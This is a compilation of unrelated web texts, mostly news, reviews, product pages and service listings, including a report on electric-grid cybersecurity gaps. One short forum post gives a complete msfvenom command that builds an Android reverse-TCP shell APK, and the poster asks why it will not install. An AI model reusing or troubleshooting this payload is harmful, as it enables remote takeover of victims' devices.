DMG, HERMLE, MIKRON, CHIRON, MATEC, OKK, TOYODA, INDEX, HELLER, SPINNER, GILDEMEISTER, MORI SEIKI, EMCO, TORNOS, VDF, TRUMPF etc., as well as many others machinery for your production.
In addition our experienced appraisers can help should you need professional machine evaluation for proposed relocation / transfer or support for your leasing bank.
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Lack of Skilled Workers Puts Security of the Electric Grid at Risk Warns New Report
Lack of Skilled Workers Puts Security of the Electric Grid at Risk Warns New Report
Following up on last week's Capitol Update, in which we reported the Office of Management and Budget released a report stating most federal agencies are unprepared for cyber-attacks, the Department of Energy (DOE) recently released its own report on the matter. The Cyber EO 2E report asserts that "Cybersecurity of the U.S. electric grid has emerged as one of the most important issues facing the electricity subsector today."
The assessment enumerates gaps in capabilities and capacity that exist around enhancing cyber incident response capacity, including:
- Cyber Situational Awareness and Incident Impact Analysis
- Roles and Responsibilities under Cyber Response Frameworks
- Cybersecurity Integration into State Energy Assurance Planning
- Electric Cybersecurity Workforce and Expertise
- Supply Chain and Trusted Partners
- Public-Private Cybersecurity Information Sharing
- Resources for National Cybersecurity Preparedness
These gaps stem from issues such as lack of funding and a dearth of skilled workers. The lack of awareness regarding the consequences of a large scale power outage caused by an attack on the electric grid is a main concern. The report explains that "Mitigating this gap will require detailed knowledge of the capabilities of the adversary, the real-time technical conditions of the grid and electricity markets, the behavioral responses of the operators of multiple systems and their customers, as well as tens if not hundreds of additional variables." It goes on to explain that there is also little understanding of how to recover from a cyber-attack, as these attacks would differ greatly from other factors affecting the grid such as hurricanes or ice storms.
Due to the wide scope of cyber-attacks on the electric grid, the report also calls on the DOE to work with other agencies such as the Department of Homeland Security to bolster both defenses against cyber-attacks, as well as responses to successfully executed attacks. While there have been no major attacks reported on the grid to-date, the report makes reference to the two cyber-attacks on the Ukrainian electric grid in December 2015 and again in 2016.
In a press release following the release of the report, DOE Secretary Rick Perry highlighted the newly-created Office of Cybersecurity, Energy Security and Emergency Response as an "important step" in safeguarding energy infrastructure, and that "This Administration recognizes the growing security risk of cyber threats and has prioritized overcoming these challenges facing our nation."
To read the full report, click here: https://www.energy.gov/sites/prod/files/2018/05/f51/EO13800%20electricity%20subsector%20report.pdf


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We spied the refreshed BMW Z4 this summer and now the roadster is ready to make its full and official debut. Bringing a refreshed exterior, new customization options, and more standard equipment, the 2023 Z4 arrives online before going on sale in the United States in November this year. We will get to the pricing details in a minute but first, let's see what the Z4's LCI brings to the table.
LCI stands for Life Cycle Impulse, which is the way BMW calls its facelifts. For the Z4, the visual aspect of the mid-cycle refresh takes the form of a revised M Sport package, which is now standard for the Z4 sDrive30i trim. The kit comes with new three-section air intakes in the front bumper as seen in other recent BMW M models.
Gallery: 2023 BMW Z4
Similar touches can be seen at the back, while from the side, new and more contoured side sills are present. The side air intakes also feature a new design, while a set of optional 19-inch M wheels designed exclusively for the roadster complete the visual changes.
New exterior colors are also introduced and these include Thundernight metallic, Portimao Blue metallic, and Skyscraper Grey metallic for the first time. Making debut for the 2023 model year are the M Shadowline lights, which come as an option for the optional adaptive LED headlights.
Inside the cabin, the new standard M Sport package for the Z4 sDrive30i comes with sports seats, an M leather steering wheel, M pedals and footrest, and a dashboard upholstered in SensaTec leather.
The engine range continues unchanged and includes a base, US-only sDrive30i model with a 2.0-liter turbocharged four-cylinder engine with 255 horsepower (190 kilowatts) and 295 pound-feet (400 Newton-meters) of torque, sent exclusively to the rear wheels. The range-topping model continues to be the Z4 M40i with 382 hp (285 kW) 369 lb-ft (500 Nm) coming from a 3.0-liter inline-six engine.
There have been rumors about a potential six-speed manual gearbox for the American market, though, at least for now, the roadster carries over with its eight-speed automatic for both engine options.
Despite the reports that BMW might kill the Z4 after 2025 due to its relatively low sales, the Bavarian brand says it's happy with the 55,000 examples of the roadster it has delivered since its market launch in 2020. The revised Z4 goes on sale in November this year with a starting price of $52,800 for the base model and $65,400 for the M40i, both plus a $995 destination.
Source: BMW


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And at the end of long days and nights counting votes, it was time to get ready to go home. But before they left they had to give credit to the man who had made all their countless victories possible. "Delia! Delia!" They shouted.
This is not a fantasy in my unfulfilled dreams of glory.
This is today in the Naxxar counting hall as Labour Party agents slammed the perspex and celebrated their greatest asset in the domestic political scene: the leader of their opposing party under whose stewardship his party's colour has been effectively swept off the map.
Tonight was the last in a series of tragedies and it was pregnant with defeats that represent more than is obvious.
Yesterday the PN failed to turn Birkirkara around. It was lost before Adrian Delia took charge but if a turnaround was possible anywhere it ought to have been there. In his previous life, Adrian Delia was a community leader in Birkirkara, President of their football club one of the most unifying identifiers in that largest town of Malta. The PN leader said he'd fight to win back Birkirkara. He may have fought but nobody noticed. The turnaround did not happen.
Today the symbolism continued. Adrian Delia has lived in Siġġiewi for 20 years. That town, a PN-majority community in the South, has been governed by PN Councils since it ever had one. There has never been a PN leader from Siġġiewi. Party leaders are expected to rally support around them, bring out the pride of the town, mobilise the energy and the promise of greater things in the future. Not all the country will ever know a party leader personally but they will turn to his or her constituents, people who have known them buy their groceries and push their children on the playing field swings.
But Adrian Delia's own town switched to Labour. It didn't sign a glowing recommendation for him.
The Mayor who lost her job in Siġġiewi is the wife of Frank Psaila, the anointed one of the party leadership for the European Parliament. The whammies keep doubling up.
There are more such stories all over the island. Labour pushed through the front-line battleground of Mosta. The PN minority leadership in Ħal Qormi has been taken away from Clyde Puli's brother Ralph and passed instead to Jerome Caruana Cilia whom the leadership kicked out of radio while leaving Frank Psaila on TV during an election campaign.
Labour canvassers have much cause to celebrate. It is fine to win handsomely, but it is finer to know there's no one to change that. For as long as Adrian Delia stays, there's no one to stop Labour grasping all levels of power and influence in the country.
And as they call out his name, what could ever make him think there's anywhere for him except on that stage where someone is always cheering him.


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On Sunday afternoon, St. John's volleyball seniors Diana Banya, Kayla Motoyama and Kun Song took the court at Carnessecca Arena for the final time in their collegiate careers.
But behind a solid all-around team effort led by Junior Darlene Ramdin, the Red Storm sent their seniors out on a good note, with an impressive 3-1 victory over Georgetown (25-19, 22-25, 25-22, 25-21) on Senior Day.
The win is the third win in a row for St. John's, as they improve their overall record to 18-11, and their Big East record to 5-7 after losing their first five conference games. The win also keeps their once-slim postseason hopes alive, as they attempt to qualify for a spot in the Big East tournament after a one-year hiatus.
Junior Darlene Ramdin had one of her best games of the season, as she recorded a season-high 20 kills and also had a match-high of eight blocks in the winning effort. Ramdin's eight blocks moved her into eighth place in the all-time St. John's career record books, as she now has 271 career blocks.
Senior Diana Banya had a good Senior Day, as she had 12 kills in her Carnesecca Arena finale. Sophomore Gabriela Petkova had a match-high of 13 digs, and Freshman Korina Yee had eight digs. Junior Alyssa Bennett had 45 assists, and Anzelika Lukjanska had seven kills and eight digs.
The Red Storm opened the match by committing just three attack errors in the first set, where Darlene Ramdin hit 1.000 with four kills, while Banya also had four kills en route to a 25-19 first set victory.
The Red Storm couldn't pull out the second set as they lost 25-22, but came back to win a close third set. The Red Storm trailed 6-1 early in the third set, but rallied later on with a six-point run to take a 19-17 lead, and they kept that lead, as they won the set 25-22.
It looked as if the match was destined for a fifth set, when Georgetown led 19-16 late in the fourth set. But the Red Storm went on a 9-2 run, to close out the match with a 25-21 fourth set victory. Ramdin had eight kills and a .583 attacking percentage in the set.
Although this was the Red Storm's final home game of the 2010 season, they still have two road games remaining. They will head to Morgantown to take onWest Virginia on Friday, before heading to Pittsburgh on Sunday, as the Red Storm will try to close out the 2010 season on a good note, and will attempt to qualify for the Big East Tournament.


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National Legal Service is a national firm with regional offices throughout the UK, including right here in Bristol. This allows us to maintain our national reputation for excellence, while offering a personal service to those in need of local, experienced solicitors in Bristol across a wide range of legal matters.
"I found the staff at National Legal Service to be kind, caring and compassionate. They have always answered questions promptly and within a way that was easy for me to understand."
With decades of combined experience, our team of solicitors here in England's beautiful southwest are specialists in family law.
Our cases range in complexity and cover issues such as child custody agreements, divorce and separation and domestic violence. Our clients can expect an empathetic, understanding service backed by legal expertise to help bring cases to a swift and successful resolution.
Our Bristol office can help you with a wide range of family law matters, including disputes relating to children and domestic abuse. We know the toll which these cases can take on families, and endeavour to ensure that our clients are safe and understand their legal rights from the outset of our working relationship.
Helping to secure your home in the event of a separation or other domestic issue. This is usually only applicable in serious cases but requires an expert family solicitor to arrange and secure an order.
These orders are created to help decide where a child will live and the frequency with which the other parent or guardian will see them. They are frequently an emotional part of the legal process, and so need to be handled with care by your family solicitor.
A Prohibited Steps Order is granted by court to prevent a parent from removing a child from the care and control of another parent and/or prohibits a parent from leaving the country with their child.
National Legal Service is one of the foremost providers of Legal Aid for domestic abuse cases and we are continuing to expand our reach into local communities across the country. This ensures that regardless of your financial circumstances, you may be able to access the best legal care. There are strict criteria which need to be adhered to in order to qualify, and each case is assessed individually.
Speak to our legal team in Bristol for expert advice
Call our Bristol team on 020 3601 5051 to talk about your case or to arrange a free consultation. All enquiries are treated with the utmost confidentiality.
We know that no two cases are ever the same and we are dedicated to guiding you through the legal process with tailored solutions which work for you. Fill out the form below to request your free consultation today.
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RGX-314 gene therapy, a treatment for wet age-related macular degeneration delivered subretinally, showed dose-dependent sustained/improved vision and a good safety profile.
This article was reviewed by Jeffrey S. Heier, MD
RGX-314 (REGENXBIO) gene therapy, delivered subretinally to patients with neovascular age-related macular degeneration (AMD), who required a large number of prior injections of anti-vascular endothelial growth factor (VEGF) annually, provided a marked decrease in the number of injections needed and retained or improved the vision and anatomy in this challenging patient population.
RGX-314 uses a proprietary gene delivery platform that is hypothesized to deliver longer and higher protein expression with a lower immune response that earlier generation adeno associated viruses (AAVs) used for gene therapy.
"The AAV8 vector is encoded to deliver a gene that leads to anti-VEGF antibody fragment protein production within the retina," said Jeffrey S. Heier, MD, co-president and director of Retinal Research, Ophthalmic Consultants of Boston.
Related: Anti-VEGF targeted as potential nAMD treatment
All 42 patients included in this study had undergone previous treatment for neovascular AMD and had a "high need" for anti-VEGF therapy, i.e., patients received more than 30 injections on average prior to coming in and an average of 9.6 annualized injections in the year prior to RGX-314.
In addition, the included patients had to have shown an anatomic response to anti-VEGF therapy during screening. After RGX-314 was delivered to the subretinal space, the patients were evaluated monthly to assess safety and the need for additional anti-VEGF therapy, Dr. Heier noted.
Re-treatment with an anti-VEGF drug could be provided beginning at four weeks after RGX-314 was delivered and then as needed every four weeks thereafter based on physician discretion, Dr. Heier explained. The criteria for retreatment was per investigator discretion which included choroidal neovascularization-related increased, new, or persistent fluid; vision loss of five or more letters as a result of fluid, or a new ocular hemorrhage.
Related: The ABCs of VEGF treatment for diabetic macular edema
The results
Following delivery of RGX-314, Dr. Heier reported that the drug was well tolerated. No serious adverse events were reported; most adverse events were classified as mild, i.e., grade 1 in 79% of cases. In addition, no clinically determined immune responses occurred.
Two deaths that occurred were not related to RGX-314. Two serious adverse effects that were related to the delivery procedure were reported, specifically, a peripheral retinal detachment that was repaired successfully and a case of endophthalmitis that occurred after collection of an aqueous sample.
"We observed a dose-dependent increase in RGX-314 protein across the five dose cohorts," he reported. The protein levels were measured in aqueous samples collected one month after delivery of RGX-314.
Cohort 3, which included six eyes treated with a dose of 6 x 1010 genome copies (GC)/eye, did well.
"Cohort 3 had a gain in vision of +9 letters and stable anatomy of -40 μm over 18 months despite relatively few injections," Dr. Heier reported.
Three of the six patients in this cohort were injection-free at 18 months. They had a mean increase of +11 letters of vision at 18 months and a concomitant mean decrease in the central retinal thickness of -21 μm. The RGX-314 protein levels were sustained over one year.
Related: Decreasing burden of nAMD therapy
Cohort 4, which included 12 eyes treated with a dose of 1.6 x 1011 GC/eye, also did well.
"The vision and anatomy in these patients were stable or improved," according to Dr. Heier.
Five of the 12 patients were injection-free at 6 months. The average improvement at that time point was +2 letters and the decrease in the central retinal thickness was -42 μm.
Two patients in this cohort continued to require anti-VEGF monthly injections as the result of incomplete responses to anti-VEGF therapy.
Cohort 5, which included 12 patients treated with a dose of 2.5 x 1011 GC/eye, demonstrated the highest clinical response seen in the trial with stable to improved vision and anatomic outcomes.
Nine of the 12 patients were injection-free at five to six months with vision of +5 letters and a decrease in central retinal thickness of -80 μm over five months.
"This was the highest clinical response observed," Dr. Heier commented.
Related: Quest for data increases debate for anti-VEGF therapy approach
An interesting analysis of the injections administered to patients in cohort 5 in the year before they were treated with RGX-314 showed injections ranged from six to 13. After delivery of RGX-314, only three patients needed additional therapy, i.e., six injections for one patient with an incomplete anti-VEGF response, two injections for a second patient, and one injection to a third patient.
In the case of the cohort 5 patient who required 13 injections with persistent subretinal fluid at every visit in the year prior, Dr. Heier reported that following delivery of RGX-314, this patient remained dry and did not need rescue injections for five months.
Dr. Heier noted that based on the study findings, Regenxbio plans to move forward with phase IIb study of RGX-314 for wet AMD and an Investigational New Drug trial for diabetic retinopathy,. The company also will be investigating suprachoroidal delivery using the ClearSide Microinjector, which can be used in-office.
"Subretinal RGX-314 was well tolerated in the five study cohorts. A dose-dependent increase in ocular protein was observed across the cohorts," he concluded. "Cohort 5 demonstrated the highest response among the cohorts; 75% of the patients were injection-free at five to six months."
Read more content on anti-VEGF
Jeffrey S. Heier, MD
E: email@example.com
Dr. Heier is a scientific advisor to REGENXBIO.


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Campus Master Plan
We engaged this PreK-12 day school in a comprehensive evaluation of its campus and identified opportunities and challenges in the ways students, faculty, and staff move through and utilize it.
Bancroft School
The resulting campus master plan, called "Bancroft School Evolutions," creates a flexible, open environment that reflects the school's commitment to its mission and to the active, project-based Learning Laboratory Method. Selective transformations will support students' ability to "own their learning" through active experiences, voice and choice, collaboration, reflection, and demonstrations of knowledge that impact the community.
We provided a long-term menu of options to help Bancroft set the priorities – which include improving the Upper School – that will determine what's next for this learning community.
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The November 2022 Evaluation will be published on 22nd November. The final date to have any DNA samples (hair/tissue/AI straws returned to ICBF to have genomic evaluation published in November, is 31st August.
DNA Samples
Any outstanding hair sample kits already on farm should also be returned. New orders can be placed by logging into your HerdPlus account on www.icbf.com. Alternatively, hair card orders can be processed over the phone. Once ordered, hair sample kits will be posted immediately to the herdowner.
AI Straws
It is very important that AI bulls are genotyped asap. ICBF will not issue an AI code for any bull unless a genotype has been received into the database. AI bulls can be genotyped via semen. Straws do not have to be viable, therefore they can be sent by post. If you have any queries, please contact ICBF on 023-8820452 or email [email protected].
How to order a Genotype online?
Genotype kits can be ordered by logging into your HerdPlus account. Once logged in, go to Services > Genomic Services.
From here you can choose between genotyping individual animals or genotyping a group of animals (dairy only). By choosing Genotyping Female Group dairy farmers can choose to genotype all their 2020, 2021 or 2022 born heifers. Alternatively, by choosing Genotyping Individual Animals the herdowner can pick and choose individual animals from the whole herd to genotype.
After doing so, you will be promp0ted to Save Changes and Checkout. You will then be prompted to pay via Visa or Mastercard.
Once paid for, genotype hair kits will be generated and sent to the farm in the following days, including a return envelope. For members of beef HerdPlus it costs €22/head to genotype males and females. For members of dairy HerdPlus it costs €22/head for dairy females and €50/head for dairy Males.
Non HerdPlus members can order genotypes for pedigree animals only and it is €30/head. Alternatively to order and pay for genotypes you can email us at [email protected] or call our helpline 023 882 0452.


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Noxxiez Animal Blankets
Cozy Noxxiez Animal Blanket Hoodies - Kids Wearable Blankets, Comfy Toddler Fleece Poncho, Children Hooded Cape, Plush Soft Throw.
Cute animals: Our colorful blanket hoodies feature wild woodland animals including a sheep, sloth, hedgehog, reindeer, flamingo, a turtle, koala and a husky. With designs including white, dark and light brown, pink, black green, grey and black there is an attractive choice for any boy or girl.
Multiuse: Our kids comfy hoodie blanket is great for a lazy day on the couch, bed or in the car as a small travel blanket. Fold it up for a pillow, add it to a bedding set for additional security while sleeping. Use in place of a towel to keep warm after a bath or playtime at the beach or pool.
Useful futures: Includes a corner pocket with animal paw for hands and a stuffed animal head hood that kids can wear. This cozy hoodie is made from supersoft fleece for extra comfort. Sized to perfection at 130 cm x 100 cm it is n . Great gift for kids or adults.
Fun express: Noxxiez kids fleece blankets are high quality. Kids love having a pet like blanket poncho that they can wear and play with. Make a fort or play imaginative games. Wrap up for a comfy nap or snuggle during a movie. Pack in a bag for sleepy toddlers or a baby when on the go.
Fuzzy blanket fabric: Our soft hoodie is fun to cuddle, wear and play with. Each blankey features a different critter with realistic features including ears, a face, horns and paws. Cozily wraps around for a body blanket for a child, teen or adult. Good present for a happy birthday or Christmas.


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Introducing Twinkly™ at Lights4fun, the next generation smart app controlled decorative lighting that comes to life at the touch of an app, free to download for iOS and Android.
From versatile string lights and icicle lights to statement festoons and curtain lights, the Twinkly™ at Lights4fun range is unrivalled in its innovative technology.
The smart app mapping function identifies the formation of your lights once they are positioned. With 16 million colours available as well as the amazing animations & effects, you can customise your display with ease. Choose from a library of pre-designed effects or create your own bespoke design on the spot.
These state-of-the-art Christmas lights continue to amaze with their ability to connect with your Google and Alexa smart speakers. Switch your Twinkly™ lights on & off, adjust the brightness and even change the colours with ease by voice command, simply start by saying "Switch on Twinkly!"
Deck the halls both indoors and out for a unique Christmas display that'll wow guests and passers-by alike. With Lights4fun's market leading 2 year guarantee putting up your Twinkly™ display will soon become a family tradition.
"We're proud to partner with Lights4fun, a trusted company made up by a great team.
We have so much in common, and at the very forefront is the passion we share for our work, made of lights, colors and innovation. "
Andrea Tellatin, CEO, Twinkly™
The ultimate Christmas gadget gift
The Twinkly™ music device is a must-have accessory for end of year celebrations and is compatible with all GEN II Twinkly™ products. Designed to dance along to the beat and volume of your chosen songs, it is sure to create that fabulously fun party atmosphere! Simply dress your display in lights and use the mapping function on the Twinkly smartphone app to ensure the layout is synced to your phone. Once they are mapped, plug the USB device into any USB port and connect the device to the lights using Bluetooth.
Lights4fun is Europe's leading internet retailer of decorative lighting for home and garden. This family business began from the kitchen table, when Tim Naughton and his wife, Jo, couldn't find a decent set of fairy lights for their garden. The now 40 strong team, based at head office in Harrogate is proud to offer high-quality, beautifully designed lights that we all love, with an industry leading 2 year guarantee. They're a hard working bunch who commit to offer the best possible customer experience and aim to shine through everything they do.
The Twinkly™ music device is available online on the Lights4Fun website and Amazon website in case not available in your country.


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How the Latest Trump Tariffs Will Affect Romania
On March 1st, US President Donald Trump announced that his administration will unilaterally introduce new tariffs on steel and aluminum imports in the United States of America. Officially motivated by national security concerns under the World Trade Organisation (WTO) rules, the announcement follows a similar decision to unilaterally introduce new tariffs on imported solar panels and washing machines, for reasons of unfair competition, taken at the end of January. Along with pressures for a redrawing of the North-American Free Trade Agreement (NAFTA) with Mexico and Canada and the retreat from the Trans-Pacific Partnership (TPP), the decision constitutes the most palpable expression to date of the United States' new protectionist trade policy, to which Donald Trump alluded to since he was campaigning on an "America first" platform for the White House back in 2016. But unlike the solar panels and washing machines tariffs of a month and a half ago, which targeted primarily Chinese, South Korean and other Asian economies, the new steel and aluminum tariffs risk triggering a full-scale trade war with the European Union's – still – 28 nations trade bloc, Romania included.
The metal industry is among the country's leading exports, although its overall share has constantly diminished in the last decade. It fell from second place to fifth place during this period and lost about 10 pp in favor of other industries. Romania retains important production capacities in both the steel and the aluminum industry, the two products the US President has chosen to protect with tariffs of 25% and 10% respectively, but it barely trades with the United States. This, however, does not mean that the Romanian metal industry will be unaffected by the looming trade war.
Although the output of the Romanian subsidiaries does not directly compete for the American market, the tariffs will trigger unpredictable production shifts inside the multinational corporations' international portfolio of production facilities.
The Romanian steel industry is dominated by ArcelorMittal Corporation, the world's largest, headquartered in Luxembourg, which owns the Galați steel mills and several plants around the country, while the locally listed aluminum producer ALRO Slatina is owned by the Vimetco Corporation, a globally present Dutch-registered company listed on the London Stock Exchange and owned by Russian magnate Vitali Matsitski. The tariffs will affect these global corporations' supply chains and integrated business processes. ArcelorMittal, for instance, owns steel mills not only in Europe and Asia, but also in the American industrial heartland of Pennsylvania, home to critical voters – battered by recession and disillusioned by globalization – on whose behalf Donald Trump enacted the tariffs in the first place. Although the output of the Romanian subsidiary of ArcelorMittal does not compete directly for the American market, the tariffs will trigger unpredictable production shifts inside the corporation's international portfolio of production facilities as well as within the global steel industry at large, which may negatively impact production and jobs in Romania. The same cautionary reasoning regarding potential spillovers onto Romanian production also applies to Vimetco's international operations and the global aluminum industry in the wake of the US decision to impose tariffs on this product, even though the multinational linkages are harder to discern.
Whether, how and to what extent the Romanian production of steel and aluminum will be indirectly affected by the Trump tariffs is currently uncertain. What is certain however is that virtually none of the American products the European Commission – which has exclusive power over the EU's external trade policy – is currently listing for retaliatory tariffs (ranging from Levi Strauss brand-jeans and Midwest corn to Harley Davidson motorbikes and Kentucky whiskey) may constitute "compensation" for Romania if the trade war does materialize, simply because Romanians do not really import them and therefore cannot affect American producers. At present, Romania imports a little over half a billion euros of American produce per year, made up mostly of Apple computers and iPhones.
Between the United States of America and Romania, there has always been a strange relationship. In the early part of the 20th century, through the First World War and after, there were growing commercial and human ties between the two countries, as trade, investment and one-way migration – particularly into the old industrial American states of Pennsylvania, Ohio and Michigan – increased, but barely any political relations even as the two countries fought on the same side of the war without a formal alliance. Nowadays, things are almost the reverse. Romania and the US have strong political relations, underscored by the deployment of infrastructure for a missile shield on Romanian territory and increased defense and security cooperation, but little economic cooperation.


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Faculty Accommodation Letter
Faculty Accommodation Letter
In order to receive accommodations for a disability, students must register with Disability Services. Disability Services reviews qualifying documentation and determines what accommodations are appropriate. Students will send notification of Faculty Accommodation Letters to professors through Accommodate. Watch this video tutorial on how to access and view accommodation information through the Accommodate platform.
Please note that accommodations are not retroactive and disability accommodations cannot be provided until a Faculty Accommodation Letter has been received by faculty member. While we encourage students to identify and register at the beginning of the semester, students may identify and register with Disability Services at any time.
When you receive a Faculty Accommodation Letter:
Meet with the student privately to discuss accommodations.
Keep the student's status confidential. Students do not need to identify their disability.
Be aware of your assumptions and personal reactions to disability issues.
Expect students with disabilities to meet the same academic standards as their peers.
View Faculty Accommodation Letters and accommodation needs for each student in Accommodate.
Provide exam document(s) to firstname.lastname@example.com or upload to Accommodate if test accommodations are requested.
Contact Disability Services if you have any questions or concerns.
Viewing Faculty Accommodation Letters
If a student requests to use accommodations in your course, you will receive an email asking you to review their Letter of Accommodation. Log-in to Accommodate. You can also view Faculty Accommodation Letters by clicking "Accommodation Letters" on the home screen of Accommodate.
Click on "Letter of Accommodation" to see the student's approved accommodations and to review the faculty and student responsibilities.
Sign your name at the bottom of the Letter of Accommodation and click, "Save."


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Africa Finance Corporation expands footprint in Benin, Botswana, DRC and Somalia
Africa Finance Corporation, the continent's leading infrastructure solutions provider, continues to expand and diversify its membership and shareholder base, recently welcoming Benin, Botswana, the Democratic Republic of Congo, and Somalia.
You Might Be Interested In
Accession to membership by Botswana and Somalia advances AFC's mandate by conferring privileges and diplomatic immunities in line with the Corporation's multilateral status and provides support for meaningful engagement in these key African economies. Furthermore, it enables AFC to mobilise global capital to work alongside domestic finance for sustainable and viable infrastructure and industrial development in member states. AFC now enjoys member support from three-quarters of African countries, with a total of 40 sovereign members.
Botswana's Minister of Finance & Economic Development, Peggy Serame, said: "We are pleased to invest in AFC, as the Corporation has demonstrated its commitment as an African entity dedicated to infrastructure growth. We are proud to be a part of this pan-African triumph and looking forward to developing more critical infrastructure in the future."
Dr. Elmi M. Nur, Somalia's Minister of Finance, commented: "As Somalia continues to rebuild and grow, our membership in the Africa Finance Corporation will play a crucial role in securing the financial support needed to drive our nation's development forward. We look forward to this exciting partnership."
Additionally, the equity investments in AFC by existing members Benin and DRC enhance the Corporation's pan-African spread of shareholders, which include governments, development finance institutions, and institutional investors.
A stellar record of consistent financial performance combined with a strong risk management framework and a growing and diversified shareholder base are behind AFC's A3 investment-grade credit rating, which the Corporation leverages optimally to fulfill its mandate to close Africa's infrastructure and industrial financing gap.
Romuald Wadagni, Benin's Minister of Economy and Finance, said: "Our investment in the Africa Finance Corporation reaffirms our commitment to addressing Benin's infrastructure and socio-economic challenges with endogenous financing solutions. We are optimistic that this new synergy will catalyze growth and development for our people."
Nicolas Kazadi, Minister of Finance of the DRC, commented: "We are looking forward to leveraging our relationship with the AFC to sustainably build critical supporting infrastructure that will maximise our resources."
AFC's investments in Benin, Botswana and DRC span the natural resources, transportation & logistics and industrial sectors, with a combined portfolio size of US$53 million in the three countries. The Corporation is working with the government of Somalia to fund infrastructure and economic development that will optimise the country's key resources.
"We are always pleased to welcome new African countries as Member States and Shareholders of AFC as it reinforces our growing appeal as the resilient and reliable bridge to a prosperous African future of enhanced value capture and retention " said President & CEO of AFC, Samaila Zubairu. "We remain committed to working alongside our member countries to accelerate sustainable development impact in their respective countries by developing and financing infrastructure, natural resources and industrial assets that will enhance productivity and economic growth."
You Might Be Interested In
Milcah Lukhanyu
Milcah Lukhanyu covers daily news briefs at TechMoran. She is the person who will probably read your press release and get the story out of it or totally trash it.
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Dufresne Chateau
The heart and soul of Hochelaga-Maisonneuve
The Dufresne brothers were great lovers of art who modelled their home on the Petit Trianon of Versailles in France.
Built between 1915 and 1918, the Chateau Dufresne, which consists of two separate residences, is a true architectural gem featuring Ionic columns, Italian marble staircases, exotic hardwood floors and lavish furnishing – all of which attest to the brothers' refined tastes.
The chateau features a profusion of sitting rooms, oriental smoking rooms, winter gardens and offices, each decorated in a different style, depending on the atmosphere the brothers wished to create.
The murals of Guido Nincheri, one of the most important North American artists of the 20th century, are equally noteworthy. The residence represents Nincheri's largest body of secular work in Canada
During their lives, Oscar and Marius Dufresne surely had no inking that they would one day be seen as two of Montreal's most illustrious sons – the proud symbols of French Canadian social success. And yet, through their genius and passion for art, the brothers who erected the Chateau Dufresne, a true gem of Beaux-arts architecture, also helped beautify the former Cite Maisonneuve.
Oscar Dufresne was Chairman of the Finance Council of Cite Maisonneuve and Marius was a civil engineer and architect. As a team, they were unmatched when it came to producing magnificent architectural plans – and finding the necessary funding to turn those plans into buildings.
Marius had exceptional talent, thus most of the prestige buildings in the Meercier-Hochelaga-Maisonneuve district were designed by Marius. The history of the Chateau and its inhabitants paralleled the industrialization and rise of the bourgeoisie in east Montreal, giving the building immense heritage value.
Chateau Dufresne. Photo: © Provincequebec.com
See also:


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This is for educational purposes only!
I'm trying to generate android payload using msfconsole payload standalone generator: msfvenom
with the command:
msfvenom -p android/shell/reverse_tcp LHOST=192.168.100.4 LPORT=4444 R > android_shell.apk
My problem is that the apk refuse to install on any android version "I tried 4.0 to 4.3" and it shows the message:
application not installed
What am I doing wrong? Is there some kind of signing for the apk file?


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The National Federation of Retail Newsagents in Ireland has criticised the decision by Minister for Health James Reilly to press ahead with plain packaging proposals, fearing that if enacted, they will significantly affect the struggling retail industry in Ireland. "It is so frustrating to think that hard evidence is being ignored whilst retailers struggle due to the growth of the illicit trade," said NFRN Ireland President Peter Steemers. "During his election campaign the then leader of the opposition Enda Kenny TD said he wanted Ireland to be 'the best small country in the world to run a business' yet shops are closing every week and nothing is being done to curtail the growth of the illicit tobacco trade." NFRN Ireland pointed out that yesterday's announcement follows a poor performance by Fine Gael in the local elections, the medical card review and is in advance of a cabinet reshuffle. 'It is reasonable to presume that Minister Reilly is trying to gain ground but this short sighted view will have a negative consequence for legitimate retailers, the exchequer and the health of Irish people as tobacco becomes more widely available,' it said. NFRN Ireland also cited recent evidence from Australia, which showed that 59 million more cigarettes were sold in Australia during the first year of plain packaging of tobacco products, with a 58% increase in sales in the 'sub-value' section. © 2014 - Checkout Magazine by Stephen Wynne-Jones
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by Michael Froomkin
Laurie Silvers & Mitchell Rubenstein Distinguished Professor of Law
University of Miami School of Law
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Sip. Paint. Relax. All for a Good Cause.
Join us and Painting with a Twist Denton for a fun night of painting and fundraising?? A portion of your reservation fee will be generously donated to our mission!
Need childcare? We have a Night at the Museum Drop-and-Play Event happening that evening from 6:30-9:30 PM! This is the perfect set up for a date night or girls night out. You and your kids will both have a great night! Click here for more info on our Night at the Museum event.
Event Info:
This is a BYOB studio. Snacks and drinks are welcome!
Please arrive 10-15 minutes early to get uncorked, smocked & in your seat! If you desire more time to unwind, visit with friends & breathe before we get twisted, we invite you to arrive up to 30 minutes prior to start time. It's your Happy Half Hour!
- Please bring your own ice
- Cups are provided
- Must be 21+ to consume alcohol
- Event suitable for ages 13 & up


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Thanks for signing up to our Newsletter!
You will receive our monthly newsletter which contains details of recent posts and current promotions from our travel partners.
Occasionally we may send an extra email to alert you to a short lived promotion or special offer.
We promise we won't send you more than two emails every month!


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FIR against ex-BSP leader Vijay Yadav for 'beheading' remark on BJP's Sadhana Singh
Earlier on Monday, Yadav had announced an award of Rs 50 lakh to the person who brings the BJP lawmaker's head to him.
Trending Photos
An FIR was registered against former Bahujan Samaj Party (BSP) MLA Vijay Yadav on Thursday for his controversial retort on BJP MLA Sadhana Singh's remark on BSP chief Mayawati.
Earlier on Monday, Yadav had announced an award of Rs 50 lakh to the person who brings the BJP lawmaker's head to him. "BJP MLA Sadhana Singh should seek apology from Behenji (Mayawati) and women of the country, else we will protest. After collecting money from my supporters, I will give Rs 50 lakh to the person who will bring Sadhana Singh's head to me," said Yadav.
The FIR has been registered against at Civil Lines Police Station in Uttar Pradesh's Moradabad. The Uttar Pradesh Police said that an investigation is currently underway.
The retort followed after the BJP MLA's controversial statement calling Mayawati 'worse than a eunuch.' Singh had last week called former Uttar Pradesh Chief Minister Mayawati a "blot on womankind" and "worse than a eunuch," while referring to the infamous incident when Mayawati was assaulted by the Samajwadi Party workers at a guest house in Lucknow in 1995.
Meanwhile, the National Commission for Women (NCW) issued a notice to Sadhana Singh and sought an explanation from her for making "extremely offensive and unethical" remarks against Mayawati.
Samajwadi Party president Akhilesh Yadav said the language being used by the ruling party leaders is the result of their frustration.
Faced with criticisms from all quarters, the BJP MLA from Mughalsarai issued an apology asserting that she did not mean to hurt anyone's sentiments.


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Documentation extractor and renderer for Debian packages¶
This project is now DEPRECATED. It has been
superseded by the debiman
project which was written after debmans was published, but without
the author being aware of its existence. The result is a go program
that is actually quite similar in design to debmans
but faster
and more complete. It is now the tool behind manpages.debian.org.
No further changes will be done on the source code here, which will probably live here as a reference indefinitely. More details about this story are available in this blog post.
is a tool to extract documentation (currently manpages) from
